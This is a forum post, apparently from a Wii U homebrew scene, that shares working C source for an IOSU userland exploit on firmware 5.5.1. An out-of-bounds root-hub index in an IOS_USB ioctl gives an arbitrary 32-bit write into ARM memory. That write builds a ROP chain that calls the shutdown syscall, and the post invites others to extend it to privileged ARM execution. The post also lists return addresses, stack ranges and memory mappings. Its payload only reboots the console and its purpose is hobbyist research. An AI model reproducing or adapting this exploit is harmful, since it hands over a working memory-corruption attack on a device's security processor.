IOSU kernel exploit demonstrated here. This is just for people who would like to experiment inside IOSU. You can ignore the text below; it's old.
Hi guys. Below is an implementation of the userland IOSU exploit on the wiki. It demonstrates a simple ROP chain which will call the shutdown syscall from within IOS_USB and restart your console. (5.5.1 only.) I'm posting this here in the hope that someone might build on this and get privileged execution on the ARM, perhaps by implementing the IOS_CreateThread exploit that is detailed on the wiki, and then share it publicly.
How this works is described in detail on the wiki but you might like to know that the ROP chain overwrites the return address for the subroutine at 0x1011D968. The return address is at 0x1016AD40. The thread's stack is within the range [0x1015AE50, 0x1016AE50). You might also like to know that MEM1 is mapped R/W on the PPC side at 0xF4000000 and on the ARM side at 0x00000000.
Updated code here. The rest of the old post:
The trouble I'm having right now is I am unable to construct a larger ROP chain without it being overwritten between calls to write32. I've tried lots of different ways of moving the stack pointer around but I haven't had much luck. And of course I know there are people who have already achieved privileged execution on the ARM, but this is for the people who are waiting.
Here's what I have.
loader.c:
loader.h:
Hi guys. Below is an implementation of the userland IOSU exploit on the wiki. It demonstrates a simple ROP chain which will call the shutdown syscall from within IOS_USB and restart your console. (5.5.1 only.) I'm posting this here in the hope that someone might build on this and get privileged execution on the ARM, perhaps by implementing the IOS_CreateThread exploit that is detailed on the wiki, and then share it publicly.
How this works is described in detail on the wiki but you might like to know that the ROP chain overwrites the return address for the subroutine at 0x1011D968. The return address is at 0x1016AD40. The thread's stack is within the range [0x1015AE50, 0x1016AE50). You might also like to know that MEM1 is mapped R/W on the PPC side at 0xF4000000 and on the ARM side at 0x00000000.
Updated code here. The rest of the old post:
The trouble I'm having right now is I am unable to construct a larger ROP chain without it being overwritten between calls to write32. I've tried lots of different ways of moving the stack pointer around but I haven't had much luck. And of course I know there are people who have already achieved privileged execution on the ARM, but this is for the people who are waiting.
Here's what I have.
loader.c:
Code:
#include "loader.h"
void _start()
{
/* Load a good stack */
asm(
"lis %r1, 0x1ab5 ;"
"ori %r1, %r1, 0xd138 ;"
);
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
void(*_Exit)();
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
void(*OSSleepTicks)(long long x);
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
int(*IOS_Open)(char *path, unsigned int mode);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
int(*IOS_Close)(int fd);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close);
int du0h = IOS_Open("/dev/uhs/0", 0);
//int ret = write32(du0h, 0x1016BE50 - 0xF0, 0x1012EE5C); // reset syscall
#define CHAIN_START 0x1016AD40
#define SHUTDOWN 0x1012EE4C
#define SIMPLE_RETURN 0x101014E4
int ret;
ret = write32(du0h, CHAIN_START + 0x4, SIMPLE_RETURN);
ret = write32(du0h, CHAIN_START + 0x8, SHUTDOWN);
// the following line will trigger the ROP chain
ret = write32(du0h, CHAIN_START, SIMPLE_RETURN);
IOS_Close(du0h);
_Exit();
while (1);
}
int write32(int dev_uhs_0_handle, int arm_addr, int val) {
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
int(*IOS_Ioctl)(int fd, unsigned int request, void *input_buffer,
unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len);
void(*DCFlushRange)(void *addr, unsigned int len);
void(*DCInvalidateRange)(void *addr, unsigned int len);
void(*OSSleepTicks)(long long x);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
int* pretend_root_hub = (int*)0xF5003ABC;
int *ayylmao = (int*)0xF4500000;
ayylmao[8] = (int)ayylmao - 0xF4000000;
ayylmao[5] = 1;
ayylmao[520] = arm_addr - 24; // the address to be overwritten, minus 24 bytes.
pretend_root_hub[33] = (int)ayylmao - 0xF4000000;
pretend_root_hub[78] = 0;
DCFlushRange(pretend_root_hub + 33, 200);
DCInvalidateRange(pretend_root_hub + 33, 200);
DCFlushRange(ayylmao, 521 * 4);
DCInvalidateRange(ayylmao, 521 * 4);
OSSleepTicks(0x200000);
int root_hub_index = -(0xBEA2C); // gets IOS_USB to read from the middle of MEM1
int request_buffer[] = { root_hub_index, val };
int output_buffer[32];
int ret = IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
return ret;
}
loader.h:
Code:
#ifndef LOADER_H
#define LOADER_H
#include "../../../libwiiu/src/coreinit.h"
#include "../../../libwiiu/src/socket.h"
#include "../../../libwiiu/src/uhs.h"
#include "../../../libwiiu/src/types.h"
/* Application start */
void _start();
int write32(int, int, int);
#endif /* LOADER_H */
Last edited by Hillary_Clinton,